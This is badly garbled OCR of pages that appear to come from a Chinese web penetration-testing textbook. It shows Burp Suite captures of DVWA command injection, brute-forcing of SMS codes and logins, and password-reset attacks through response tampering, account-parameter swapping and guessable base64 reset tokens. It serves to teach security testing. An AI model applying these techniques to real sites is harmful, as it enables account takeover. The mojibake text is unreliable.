inet addr:10, 1.2. 100 Beast:10. 1, 2. 266 Mask: 265, 255, 265. 0
inetf addr: feB0::2e0:4cff:fell:f163/6d Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets: 3559331 errors:0 dropped:0 overruns:0 frame:0
TX packets:258109 errors:0 dropped:0 overruns:0 carrier:0
collisions: 0 txqueuelen:1000
RX bytes: 229115885 (218.5 MiB) TX bytes: 31822724 (30.3 MiB)
Interrupt:17 Memory:d2a00000-d2a20000

ethl Link encap:Ethemet HWaddr 00:e0:4c:11:f1:62
inet6 addr: fe80::2e0:4cff:fell:f162/64 Scope:Link
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:448098455 errors:0 dropped:0 overruns:0 frame:0
IX packets: 1407799109 errors:0 dropped:0 overruns:0 carrier:0
collisions: 0 txqueuelen:1000
RX bytes: 3229868820 (3.0 GiB) TX bytes:1885223068 (1.7 GiB)
Interrupt:16 Memory:d2720000-d2740000

eth2 Link encap:Ethemet HWaddr 00:e0:4c:11:f1:61

inet6 addr: fe80::2e0:4cff:fell:f161/64 Scope:Link
1P RRNATCAST RITNNTNC PROAMTS, W TTCAST  MTIH- 1600 Wet vs~e 1

K17-20 il D AT
FLLE 521 M skhttp:  //localhost/ DVWA/ N .
fEdvwakbf it 7 — Nk pingm 4, WE7-2107R,




png (F x/. Damn Vulnerable Web Ap x\#-

U | # | QzEcuk wE & A

REsRaEE

Ping for FREE

Enter an IP address below

More info

http:/lwww.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution
http:/iwww.ss64.com/bash
http:/iwww.ss64.com/nt/

K7-21 ping T 4
SI—. FAlping— F @ CHENIEIL, WE7-225775%.
LB BT ipBI— NS EOUTping A, W RIS HORAT 1L Sk T LA

M8 |v |Iv 5 "RIGIEA), AT PTG, MRIHAT R84, wK7-2300

Request

| [ Raw | params | reagers | ex |

POST /DVWA/vulnerabilities/exec/ HTTP/1.1

Host: localhost

User—Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, %/%;q=0.8
Accept-Language: zh—CN, zh;q=0.8, en-US;q=0.5, en;g=0. 3

Accept-Encoding: gzip, deflate

Content-Type: application/x—www—form—urlencoded

Content-Length: 26

Referer: http://localhost/DVWA/vulnerabilities/exec/

Cookie: security=low; PHPSESSID=afObf0659d337f6eal1623f28c92f12d
Connection: close

Upgrade—Insecure—Requests: 1

ip=127.0.0. l&ksubmit=submit

K] 7-22 PUHGE K A




Go Cancel < |+ >|v

Request

| Raw | Params | Headers | Hex

Response

| Raw | Headers | Hex | HTML | Render

Target: http:/ilocalhost EIJ [

POST /DVWA/vulnerabilities/exec/ HTTP/1.1
Host: localhost

T

<input type="text” name="ip”~ size="30">
<input type="submit” value="submit” name="submit”>

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOWS4; rv:53.0) Gecko/20100101 <fform>
Firefox/53.0
Accept: text/htnl, application/xhtml+xml, application/znl;q=0. 9, %/%;g=0.8
Accept-Language: zh—CN, zh;q=0.8, en-US;g=0. 5, en;g=0. 3 Ping 127.0.0.1 32 -
Accept-Encoding: gzip, deflate 127.0.0.1 H =32 <1ms TIL=128
Content-Type: application/x—www—form-urlencoded 127.0.0.1 <ms TTL=128
Content-Length: 40 127.0.0.1 <ms TIL=128
Referer: http://localhost/DVWA/vulnerabilities/exec/ 127.0.0.1 <{Ims TTL=128
Cookie: security=low; PHPSESSID=af9bf0850d337f6eal1623£28c92f42d ?
Commection: close . 1ing s
Upgrade-Insecure-Requests: 1 : =4 =4 =0 (0% )
e ( A)

1p = Oms = Oms = Oms

\ i

Adninistrator Guest

</pre>

<fdiv>

<h2°Moxe info</h2>
<ul>
<1i’€a
href="http: //hiderefer. con/?http: //www. scribd. com/doc/2530476 /Php-Endangexs-Remo
te—Code—Execution”
target="_blank “http://www. scribd. com/doc /2530476 /Php—Endangexrs—Remote—C
ode-Execution®/a></1i> N
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9.1.1 I3k JE BT vk
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i, Bidid i BIRIEASTEE  000000~999999. 00000~99999. 0000~9999, X4 iiFAd 3k
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Burp Intruder Repeater Window Help

W Spider IScumler ] Intruder ] Repeater T Sequencer TDecoder IComparer IExtender I Project options TUsﬂ options m
Jm,] HTTP history | WebSockets history | Options |

w Request to

| Fowad ||  Drop | |interceptison | [  Action | Comment this item Ik,
F; Params | Headers | Hex
GET /Login/mebile?callback=success_jsonpCallback&mobile=166666666668code=12345&_=1508898492438 HTTP/1.1 :

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; nv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID = f61 adea8fa92f7d3a24bd75c28d38a06
Connection: close

@BBEJU ﬂmalche;
P9-3 PSS a f
WAz SR, WE9-4f7R .

E intruder attack 2 - O X
Attack Save Columns
MTygﬁTPosﬁmuTPaymTom}
Fiter: Showing all tems | @
Request | Paybad \ Status. | Error J'rmn | Length ¥ | comment
9482 46547 200 o g s A
0 200 @] a 267 baseline request 2
1 00000 200 o Qo 27
2 00001 200 (8] o 27
3 00002 200 (8] Q 27
4 00003 200 o Qo 27
5 00004 200 =] Qo 27
3 00005 200 Q g 7
7 00006 200 a o
8 00007 200 (8] o 27
9 00008 200 o g 7 i
10 00009 200 (@] Q 67 v
Paused |
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RIFEIY

“HRiFARR: B8P A
“RiFSE:
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‘BARRIE:

E-mail:

‘HRiRER:

b4 A
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‘RIFRE:

‘wiE®s: [s388 [SFW | eFaE




K9-7 IEHFME R

POST /mobileService/customerService/ compSug/add. htm HITP/1. 1
Host:
Proxy-Connection: keep-alive
Referer: http:// - menuld=000600010001
Content-Length: 202
Origin http://
d-With: XMLHt
Cuntent Type: application/json
Accept: application/json, text/javascript, #/¢
User-Agent: Nozilla/5.0 (Limwe: U: Android 4.1.1: zh-en: MI 25C Build/TROO3L) AppleWebKit/531.30 (KHIML, like Gecko) Version/1.0 Mobile Safari/531.30
Accept-Encoding: gzip, deflate
Accept-Language: zh—CN, en-US
Accept—Charset: utf-8, iso-8859-1, utf-16, *:q=0.7
Cookie: BIGipServerPOOL_STYYT2.0_80_1=203557386. 23010. 0000; BIGipServerPOOL_STYYT2.0_8001_1=186782730. 17139.0000:
nobileService=2xTrS9pZbwBB TGpXgkpCv2mwTSTbIY Tven2kyqVQYwSnpMhQpnTh! 1316596286 ; a_token=duanllif08dal15dee63caZbT1£7Tab3e1520631130hclc; c_id=9712090120639179;
u_type=01: u_account=186 . c_version=android®2.3: invalid_at=863d61ffe31e1d71cc56868210a99a29: c_mobile=186 city=011]110;
mobileService=bhsjS9pSHLGC cxmg YN6WvFQD jsIRDF83hmS6mv15Vhn611F 2xzLy 1 -19819041265; BIGipServerPOOL_SJYYT2. 0_8001_1=237114378. 16671. 0000;
BIGipServerPOOL_SJYYT2.0_80_1=237111818. 23010. 0000

{"crType”:"017, “complainediumber”: " , “contactUser”: "test”, “contactPhone”:" ,"email”:"", "complainedProvince”:"0117, "conplaintsTopic”: "test”, "compl

aintsContent”: " § 18], “imgCode”: "5388"}
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request payload status | error | time...| length comment
0 200 L] Ll 317 baseline request
45 112233 200 ] L] [317
91 1314520 200 L] L [317
108 1985 200 L] Ll 317
132 2008 200 L] L] [317
144 321 200 O | & 317
171 |54321 200 O | O 17
183 410 200 m 17
192 789654123 200 Ll [317
193 794613 200 L] L] [317
28 1 200 ] L] [330
29 10000 200 L] L] [330
30 10086 200 L] L] [330
31 1010 200 L] L] 330

requesl response|
lfaw headers | hex

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 27 Dec 2013 08:10:03 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
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Path 2
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B Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosecwn  — m} X
Burp Intruder Repeater Window Help
W Scanner | Intruder | Repeater T Sequencer I Decoder TOnmvarer TE:dnmisr I Project options I User options | Alerts.

Jlmezgg_p: | HTTP history | WebSockets history | Options |

#| B Request to hitps:/iwww.
)
Forward Drop [ nterceptis on | Action

| Raw | Params | Headers | Hex
POST /pc/passport/index/doRegister HTTP/1.1 N

Host: Send to Spider 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefd Do an active scan

Accept: application/json, text/javascript, */%; q=0.01 N T Ctitvl
Accept-Language: zh-CN,zh; B,en-US; 15,en;q=0.3
Content-Type: application,x-www-Fform-urlencoded; charset=UTF-8 Send to Repeater Cu+R

h: XM LH ttpRequest Send to Sequencer

Send to Comparer

E:Z‘t:;l—\_ength‘ Sl Send to Decoder
mediav=%78%22eid%22%3A%22301358%22%2C %22ep%22%3 A%22%622%2C %22vi  Request in browser ¥ 5(%3CnfrE%24%22%2C
%22ctn%22%3A%22%22%7D; JSESSIONID=7BCE410AD752F461C153A1F738589819  Engagement tools » [89;
(r_user_{d=f44a020a-3fc3-44ab-8178-5fce7246911a; gr_session_d_bflacacc0a73879(— {18fa;
gr_cs1_adB6376¢-bddf-de2c-bB51 -aeadaedd18fa=user_id%3Anul; i
| 29=%78%22Uuid%22%3A%20%22160c60697 9a1 ac-0dedfaf032ada18-4c322f7c-144  Change body encoding P622%3A%20151515080
8989%2C%22updated?22%3A%201515153221694%2C%22info%22%3A%20151515  Copy URL A%209622%7 B %7D%22
%2C%22platform%22%3 A%20 %22 %7 B %7 D%22%2C%22utm %22 %3 A%20 %22%7 B Copy as curl command |A%20%22%22%7D;
we_sid=5%3AFyq7 czZXKAJRN 9sGu31RYIWHS62WNmMTPoUVYFGISZOTILOoxEWvB53ea B14=1515150810;
Qs_pv_181814=189204136913248160%2C2656472676901888000%2C15999124491  Copy tofile %2C2452591006804953
600; ga=GA1.2.1075370314.1515150813; _gid=GA1.2.241613928.1515150813; Paste from file
mediav= %78 %22eid%22%3A%22301358%22%2C%22ep %22 %3 A%22%22%2C %2 2vi| Save item B (%3 CnfrE%24%622%2C
%622ctn%22%3A%22%22 %70 -
Connettion: close Don't intercept requests >

Response 1o this request

username="18888888886&password=rBeoHSEAMmMRLF7wQBrézeal aFibéw37p3)Dql | Conye >
|51 dIXFbBHmFMew79QmBI7 ffA%28 GP 9AzS5wixXzRSJcR1%2B L] Y»dBZ|SZWLzIXprPYE URL " 234&intention=LENDER
&tid=&linviteCode =8&uregisterSource =&wtmSource=&agree=ondiplatform=PC&channel - -encode as you type -
Cut Ctri+X E

v

Copy StrHC |
Paste Cr+v 0 matches

K19-21 PUHE A A
W= ¥t Forword /5, burp TH BB RATHLE M uGR B E. KoK
RS FFHUIRIEIS 123415 2 2R 1, TR res_codeffI{E N1, {E T 4FHLKUERD
BiRPres_code B N1, FRATPRF IR B R £ 1 res_code MIMELLCN0, AT SEIL ST 36 1IE
i, anpEb9-22f77 .
IR dks i diForword/a, BPA] R Zhid A% 41515 1888888888611 K 5 - & s Bk
R P, WE9-23H1R .

BEEE




. Forward || Drop || Interceptison | Actiot

M Headers IHex ]

iTTP/1.1 200 0K

Server: Apache-Coyote/1.1
Zontent-Type: text/plain

Jate: Tue, 19 Jan 2016 15:19:13 GMT
Zontent-Length: 19

{"res_code":"0/'}
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P
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IR, ESLEN 2 RRIE RS, RIS IR 3 B el NS R R, TR
I PKAV HTTP Fuzzer I. B % € — /NG UF AL AL & B VG L, & 9-26 71 .

A=
® PREMLUTFH:
0123456789abcdefghi jklmnopqrstuvwxyz

19-26 15 5E e IE S - 157 VU
=719 T HEA] LA s uErS G 3T —E . TSR, SR

SR EEE=

JadE et N TR SR 5e B R A I HERf R, an&l9-27. KI9-28fT 7R
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WO hEEMME AP e RBES

SRR »

Hst

B/SULE

admin

7503 b .—J&. 2%

%20ET2RC2I U2 2ONI2ATRIC2INLCAUSNK2C 24
%2C37%2C3B%2CIINAC3 10%2C3 11%2C3 13 K2CI 1BH2CIII%.
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SPIRUY . S PUH R (35 SR BRI E PKAV HTTP Fuzzer T EMERBN, HEIRIF
bR EAL, F P 2RSSR EAL, nE9-30T78 .

ET /808gps/StandardLoginAction_login. act].on’?acco\mt- 9 admin 9 &password= & 123456 § &language=zhikve
rificationCode=§ YIM 8 &_=1508909872487 HTTP/1.1

Hsar—kgent Mozilla/5.0 (Windows NT 10.0; Winé4; xﬁ{ rv: 56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/javascript, */*; g=0.01

Accept-Language: zh-CN, zh;q=0. 8, en-US;q=0.5, en; q-O 3

lAccept-Encoding: gzip, deflate

¥-Remiested-With- XMLHttnRemest

ICookie: style=1; maintitle=¥uSF66%uB054%uTF51%u7526%u623T¥uTBAI%uT406%uSETI%u53F0; userIld=190; a
ccount=admin; isAdmin=0; isMaster=undefined; isFirstCompany=undefined: isSecondCompany=undefined
. isThreeCompany=undefined; hasAddArea=1. hasLine=1; hasRoadRule=1: privilege=%2C1%2C2%2C21%2C24
PZC25%2C26!72€27%2C23%2C29%2C21U%2C211%2(:212%262l3&2C214%2C241%2C242$2C215%2C216%2(2217%2(:213%2(:21
9%2C220%2C221%2C222%2C223%2C224%2C225%2C226%2C23%2C227%2C228%2C229%2C230%2C231%2C232%2C233%2C234
1%2C22%2C235%2C236%2C257%2C258%2C259%2C260%2C237%2C238%2C671%2CHT2%H2C239%2C240%2C243%2C244%2C245%
2C248%2C261%2C262%2C264%2C263%2C3%2C31%2C32%2C33%2C34%2C35%2C36%2C37%2C38%2C39%2C310%2C311%2C313
%2C318%2C319%2C4%2C4 1%2C42%2C43%2C44%2C5%2CH%2CTH2CH11%2CH12%2CH13%2CH21%2CH622%2C623%2C624%2C625
[$2C626%2C627%2CA268%2C631%2CH4 1%2CH51%2C652%2CH53%2C664% 2C656%2CHE6%2CH61%2C662%2C663%2CH64%2CT%2
IC121%2C122%2C123%2C124%2C125%2C126%2C127%2C128%2C129%2C; companyld=0; isAllowManage=0; isManageL
ine=0; isSanitationTruck=undefined; 1sChenlcals=undef1ned level=0; verify=undefined; isPolice=u
ndefined: PageMonitor=weizhi: JSESSIONID=7D56AE4D1E47EF49F38EB3DBEBABTE63

Connection: close
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kav HTTP Fuzzer HiB(ESEE&!
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56 SERA BMPKAVEFFBER! ©http:/fwww.pkav.net
(B EEE Am wEEEe)
; IS GET /808gps/ inkction
| Wo: = [teAsL |e-zh&veniuaunnﬁnde—0“4 4 S ieR0t TS e TR |
\Tsur-?zent. Moz111a/5.0 (Vindows NT 10.0; Win6d: x64: rv:56.0) Gecko/20100101 Fi
refox/56,
E & it Accept: application/json, text/javascript, #/%: g=0.01

Accept-Language: zh-CN, zh.q=0. 8, en-US . q=0. 5, en . q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttoRequest
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17 test
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20 password
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PQST /shopping/center/add HTTP/1.1

Host: 192.168.201.51:8880

User-Agent: Mozilla/5.0 (Nindows NT 10.0; Win64; x64; n.:53.0) Gecko/20100101 Firefox/53.0
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| Host | Method | URL | Params | Modified | Status | Length | MIME type

5 http:/ /s POST /index.php?controller=ucenter&ac... @ @] 200 1446 HTML
5  http:/ /e s CET /plugins/alipay/index.php a 8 200 1488 HTML
7 hutp:/ /— POST  /plugins/alipay/alipayapi.php @ o 200 1525 HTML
B http:/ /S . GET /js /Checkinvitejs.aspx?id=502662... @ (2] 200 236 script
3 hitp:/ /S GET /js/Checkinvitejs.aspx?id=502662... ] g 200 236 script
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web_head_ico=1e796d33efODAWODY xMDY4MDJkO jQzN2ti¥z k1N jO2MWI iZGESNmU;
'NZZDATA1000306329=465212547-1428044295-%7C1429090581;
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| [ Jasercem | HTTP history | websockets history | Options |

[ Forward J [ Drop J [ Intercept is on ] | Action ] Comment th

M Params ] Headers THex ]

POST /member/same/password?type=emailiobject 126.com BTTP/1.1

Host: www. e=me =, _.m

Content-Length: 0

Accept: application/json, text/javascript, */*; g=0.01

Origin: h.p.s.u . n.w_____._ w.

X-Requested-With: XMLBttpRegquest

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10_11_6) AppleWebKit/537.36 (KBTML, like Gecko) Chrome/57.0.2987.133 safari/
Referer: http://www.s " =msmasemre,n . _c?type=password

Accept-Encoding: gzip, deflate

Accept-Language: zh-CH,zh;q=0.8,en;g=0.6

Cookie: OM_distinctid=15b%a..:28f109-0d8e2750¢ 1ir3c290lcd; IESEbLIUN-Aiive; % -mm—..5ig=3sssw.8992;
_qddamta_4006231618=2 9F754C19500;
-
- - N - . .
- - . .

Connection: close
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HTTP/1.1Host:www.XXXXX.COm
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J Raw T Headers T Hex ]

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 23 Apr 2017 13:52:33 GMT
Content-Type: application/json
Content-Length: 6

Connection: close
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7 REFE B0 UERS ) 2% AR Tk 2 F A ) H B, 1 12-57R .

B—%: ASERELGHAS N B RESBERT

FHHD OHERE

* WP FEIhiL: @126.com

*IiFE: 160045 AR

FEg: O 20Tl | TEEYTH. BFNFSER, R

"WINETR:

F12-5 B UERSRE 56 Al Th ik N SRS A4S L5 A T

12.1.3 B HH#W

G 3R (5] 96 UE AT B Wi S AL, ISR — 8 B TRAE IR S5 I AR

12.2 3 UEA 2 3 D e I ik

12.2.1 U SR B A5 32

B F S D Re e @ 2ok P EIE (RO IRIERS) RIERIH P B A A BUE 2

MIFHLSBEEIERT T, HER ) AMER B SRR A S g B A, (B LN
R AE S IE 65 B DO e H B A A B & R PR, th 3804 X SRk A A R A i 3



BURUERY W] 1 2 A I B R B
FEMNRIEAIE A5 /2 75 7] DAHEER ST MR, W] DB SR IERS 2 ORI 4 H SIS, W&
IR e 5 A R, IR W B AS 2 7 o240 KL

12.2.2 PRI FE

e UERS B B AR AL S Y B A I A2 A Burp Suite AW 22100 B0 UE RS 2E AT XS
RO o — ELIGUE A5 A5 M il D BV Al X g el K 5 B AT S B L, A&l 12-67

Burp Suite

N
i} 2T A
Bk ‘I ’ BRI

BR % Bt Bl ok
I UF TS 1E 4 I S A T i %
S i pihefis W UE RS 4 iR

Pl12-6 B8NS A £ TR
W B4 App MIRIEIE AL Dh et B R F P N TFAL S5 FF KL UERS, Al PA
S ISR KR B CFAL S REFRACID & BA E, o DA ass. 260565
NANEEL W 12-7HTR



OWa D12

< 1069057 S

[ 5] Z&IEES: 9466

K127 W F L 2 447 5 7

AR AEE T RS AT LRI ME R, W AU IERS RS0 oK, X SR iE fg it
TR AERIERATEL T, WA SR Ey, WK 12-87s.

& R [E1%53

130

RWEERE?

AREBRIMES IS

SIEH ]

1128 HR I IE 175 3R

DR= A RGPS AT LOESHE I mmFERE R T R FHLSH, 25

% NpnoffIiE KAE R RIERY (FEEAFIERAES G TSRS ) , 284 NpasiZ
BUE AR RIS S Ja ZAE L Y, A 12-9F7 .



| Target I Proxy. T Spider TScanner Tlntruder IRepeater TSequencer TDecoder TComparer TExtender T

_[ intercept T HTTP history TWebSockets history T Options ]

| Request to http: - |

R e e .
L Forward J [ Drop J Intercept is on Action

[ Raw rParams T Headers T Hex ]

POST request to /v3/ps.php

Type | Name | Value

Body mm 1: .

Body pno 1234

Body at a

Body pas newpass123

Body mk 6AE3D3C4FFCOCC3B651D8B097A193789
Body cty 3

Body ps 88abbed20a4421e5b923eS5fcaed92a44
Body ty S

12-9 W EA 2 46 175 5K A
TR
POST /v3/ps.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 126
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.0; android Build/NRD90M)
Host: www.xxx.com
Connection: close

Accept-Encoding: gzip

mm=1xxxxxxx274&pno=1234&at=as&pas=newpassl23&mk=6AE3D3C4FFCOCC3B651D8
B097A193789&cty=3&ps=88abbed20a4421e5b923e5fcaed92a44&ty=>5

BRI, X HEATPUBE R A A% FBurp  Suite B ) Intruderfi b rf,  F-3EpnoiF
WS HE B NT RN 4 AT PN SO AT R B, v LU TS length mi 37K B R W
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L B ] Tntruder attack &
Attack Save Columns
[ Resubts | Target | Positions | Payloads | options |
Filter: Showing all items IL
Request | Payload | Status |Error | Timeout | Length, ¥ | Comment
2414 3524 200 9] U (360
2847 3957 200 (1] D 225
2846 3956 200 a O 225
2845 3955 200 @] o] 225
2844 3954 200 a ] 225
2843 3953 200 a O 225
2842 3a52 200 [m] O 225
2841 3951 200 1] O 225
2839 31940 200 o m] 225
2838 3948 200 2] B 22%
2837 3947 200 a ] 225
2836 3946 200 a8 B 225
2835 3945 200 g @] 225
2834 3044 200 a O 225
2822 1T 08 (=] L) 32K s e : = "
pate: Sum, 23 Apr 2017 04:36:141 GMT
CORtHRAL-TY¥pa: taXt/hEtml; charset=yts-g
Cannection: close
Server: nginx/l.8.1
Wary: Accept-Enceding
Content-Langth: 180
{ 8T 1k, "HM " : "\ue2T7e \uS6de \uEbe6 \uTEOL \WWE210\uE20E" , "TENT"  TAIDTETOT,TCEDT L, THET 1T T, TR i TR \u S £00 w0
LT \uS6Ed\u9B0e \uTERe \uS510\LETLE", TADD T, THRET: 0 2P
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E12-10 B FAD 5 g Mz
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Request

J Raw T Params T Headers T Hex W

POST /web/email/send.html HTTP/1.1

Host: = . -

Content-Length: 50

Accept: application/json, text/javascript, */*; g=0.01

Origin: http:/ ™ -—e =

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 10_11 6)
AppleWebRit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=0TF-8

Referer: http:/. . e /web/forgetpwd/gr.html

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.8,en;g=0.6

Cookie:
jsessionid_ylzcbp=8PBvZzI9TzCO0WqyT2chzv3m2vX1lLDnhGtVBvIhVv2F0sdnvb3djoOL!56
9920265

Connection: close

op=gr&username=zhacyunl23&email=zha " *%40163.com

Kl 12-11 125U S 4% 7 fE email 23]
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M5 miERZEAY, e FEURA K-S RSOV MK S, MRSt RiE kg s B Us
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[ Decoder T Comparer T Extender T Project options
Target Spider

HTTP history Iw:hsatlms history I Options ]

©
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FERENREIESK:

O BT

O FHRAE

hoo™* @126 comBIXMBH [£1%] Wik E MRS,

P WEHREWR, TRERRABASERPL: o —O“T

o/
RERAE

=it

N [ Forward

@ Request to http:/ s~ & 50 M % B0 =
J

| Cimterceptison’) (__Ac
[Raw [ params [ Headers | Hex |

POST /web/email/send.html BTTP/1.1

Host:

Content-Length: 50

Accept: application/ison, text/javascript, */*; g=0.01
Origin: http:/ -

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 10_11
Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset]
Referer: http: cn/web/forgetpwd/gr .html
Accept-Encoding: gzip, deflate

Accept-Language: zh-CH,zh;q=0.8,6n;q=0.6

Cookie: jsessionid_ylzcbp=8PBvZz9TzCOWqyT2chzv3im2vX1LOnh|
Connection: close

Drop

op=gr&username=zh semail=hes = #0126 .com

() ) 6 6 oo
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ER. A NN B BN TEEREmREAARE, ht - » web/toUpdatePwd.htm[?uuid=416a9c6f5d8e4fbabf2bdc47bdb1
:u=e5al3c 72 4 41048al amp;op=gr&amp;t=201/ 41 4
MRFRBEARE, BXH! MREBRQELTHR, HEH L SEDHN ERbatE e

RI12-15 Bl RS 5o T s
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Bt FEASFRIAIE RS Ak L T A b 4% TURL AN T -
http://www.xxx.com/repwd?account=abcabc@126.com&token=1239392342234
W2 R i E RraccountZ BUE BN FATT K S, Wfoo@163.com, BHUFUIT:
http://www.xxx.com/repwd?account=foo@163&token=1239392342234
PR 43X B Token ] EEAEH, X FERLAT DL EEE i foo@163.comiK = )% HY T,
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XF 4R 20 7] Token ffl—XF—HIRRE:, —A Token HEeE—/H 7, [RE—E %
{RAF Token ANt 2% .
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HEIEE

HERS:

fEfEHIAD

opzp
RSN ER !

13888888888

SBIREVE(SIITR

1234

Decoder ] Comparer ] Extender T

Project options

]

T User options

‘ Target

Proxy I Spider T

Scanner

J Intercept T HTTP history TWebSockets history I Options ]

|#) Requestto hup

Forward

J | | Interceptison | |

Drop

Action J

|

Raw

Params

Headers | Hex

POST /register/checkPhoneCode HTTP/1.1

Bost:

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.11;

Accept:

application/json, text/javascript, */+; q=0.01

Accept-Language: zh-CN,zh;g=0.8,en-05;9=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Content-
X-Reques
Referer:
http:/,
569950

Content-
Cockie: route=bébdeb3cb6aade5a69336c542d7e3abe3; city_id=10; city_code=bj; u|
JSESSIONID=abcheDwAs_cbcigatBYXv; _ jsluid=44ef14708006422f08c70d9£9d9f881f|

Type: application/x-www-form-urlencoded;
ted-With: XMLHttpRequest

Length: 35

SVSFLOGOST=MTQ5Nj03M+Q IN+QxNw==
X-Forwarded-For: 127.0.0.1°
Connection: close

validateCode=123d&phone=13888888888

charset=0TF-8

com/account/tofindpsw?phone=13888888888&password=111111&]]

rv:53.0) Gecko/20|

12-18 F[ml# 5 T

HIR T W] LUE B ME R AL T validateCode fliphone 5 N5 %, 7EBurp  Suited 5
drintercepti T, i%#%Do intercept — Response to this request, ¥ & J& &l nl LAF X ME R
()] {2 Response il T, WIE12-19f7~, 445 B “Forward”#% KX MK .

Forwar

I

Dron

l Raw | Para

Send to Spider
Do an active scan

] f lntel:r_enr_ls_nn_J Action

POST /regig Send to Intruder L+~ +1
fost: uc.ty  gend to Repeater %+~ +R
Dser-Agent ¢

Bccept: app Send to Sequencer

Bccept-Lang
Bccept-Encd
Content-Typg B

Send to Comparer
Send to Decoder

-Reguested Request in browser »>
Referer:
http://uc.y SQLiPy Scan E
569950 Engagement tools »
Content-Le
hookie: rod Change request method
JSESSIONIDS Change body encoding 3
SVSFLOGO ST C URL
i-Forwarded opy
Connection Copy as curl command
validateCod Lopytoifile .

Paste from file

Save item

Don't intercept requests 4

05 X 10.11; rv:53.0) Gecko/2010010
i g=0.01
1gq=0.3

d; charset=0TF-8
13888888888&apassword=111111&loginTy

7 city_id=10; city_code=bj; usernai
£14708006422f08c70d9fd9£881f; souy

Response to this request |

Convert selection >
E URL-encode as you type
- Cut 3B+~ +X
N z+~+c_ [

] 12-19 5 B 17 =R e 37 4
WIR = # )% J51] LI FResponse ] Bl 20 L& R Bh IR B 1, 1H 2R Bl R 4E 2
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J Raw T Headers THex ]

TTP/1.1 200 OK

Date: Sun, 04 Jun 2017 10:06:24 GMT

ontent-Type: text/html; charset=0TF-8

onnection: close

ary: Accept-Encoding

ary: Accept-Encoding
Expires: Thu, 01 Jan 1970 00:00:00 GMT

Set-Cookie: username=; domain= &% #8%8 & & path=/; expires=Fri, 22-J
X-Cache: bypass

ontent-Length: 5

false

K12-20 AR 5% it i [Fl false
IR B ] CLE B U BBk 3 7 E B A v, WwE12-228R, TERMR
BB TAE RSB B ), XA R B AIE B AR K-S 1A 75 B AIE AT A
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[ Forward J l Drop j [ Intercept is on ] [ Action J

_[RawT Headers T Hex ]

TTP/1.1 200 OK

ate: Sun, 04 Jun 2017 10:06:24 GMT

ontent-Type: text/html; charset=0TF-8

onnection: close

ary: Accept-Encoding

ary: Accept-Encoding

xpires: Thu, 01 Jan 1970 00:00:00 GMT

et-Cookie: username=; domain= g W = path=/; expires=Fri, 22-Jun-2085
-Cache: bypass

ontent-Length: 5

rus —
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http://www.xxx.com/index.php?m=CustomerService&a=resetPwdEml&token=dGVz
dEAXMjYuY29tJjk5NTk=

imme 2 lIf 0
http://www.xxx.com/index.php?m=CustomerService&a=resetPwdEml&token=dGVz
dEAXMjYuY29tJj120DI=

S =B
http://www.xxx.com/index.php?m=CustomerService&a=resetPwdEml&token=dGVz
dEAXMjYuY29tJjk4NzY=
IR = B XS LR I TokenZ B EA Wl B4k, ST /2 i it base64gm L 1), Xf
AT UG X =AM R P I Token 2 # fibase6 4 i 54, 45 R WK 12-17R
£12-1 RS 45 R

LTUEET) fRfafE
dGVzdEAXM]jYuY29tJjkSNTk= test@126.com&9959
dGVzdEAXMjYuY29tJjI20DI= test@126.com&2682
dGVzdEAXMjYuY29tJjk4NzY= test@126.com&9876
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& “base64Zmty (FH P HEFE+FENLANI IR UERS ) », IXFERL ] DLE S 2SI as A5 5y, i
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17666916f6dBicabin=Ratfig £ ~ B ¢ X || @ L. ... x

M orderform.html?id=7e1625bac3334
TERFEEE: BHRTE

e =

FeRAT: MA
FEHA: B

FFEA: 1990-11-23

BRAER

2=
FNEB:
AEEB: -

B FdPFE: 123@321.com

FEEINS: W (1(R)

E: RBK20) (FNERFAEHTER)

MR * -—

TREEH: ¥700 (mAX 1)

K13-2 145 1T
IR wnE13-3fT 7, {# HBurp Suite T H X A2 a1 B 1 B A0 134T B 0t .
W= WE13-4fR, BEHRIREIZGE, 1THRELPNEE K.

:’CBHCEI

EEZARITE

_ |
port u [] use SSL

host

request

raw | params | headers hex

d3La0UHev1kEprzYVeHyNt v66UZcewifiK52GmIWhrvDOCOpn/ 1Ht YyMoZ1iqCZeoVxvErFbpObQn) rt 9yk+25d0Z1NQd80n1S+BvOf8/ROTCxv |4 |
szk1s+i0P16oowlnzl CmFWAbxt XZmAP 6NT 6M1E8zhgAsB Tk sMHDHO qxk jWAT+J abUTVSC qk Z0YGMu1 I=ksZ cakL d6nBNal Tgk/G8Fg==

{"needCasualtyInsurance”:"Y", “needReimbursement “: "N”, “needFlight Invoice”: "N", "needInsureinvoice”: "N", "deliMode”:

"B, “goTotalprice”:"1320", “backTotalprice”: "

0", "casualtyInsurefee”:”

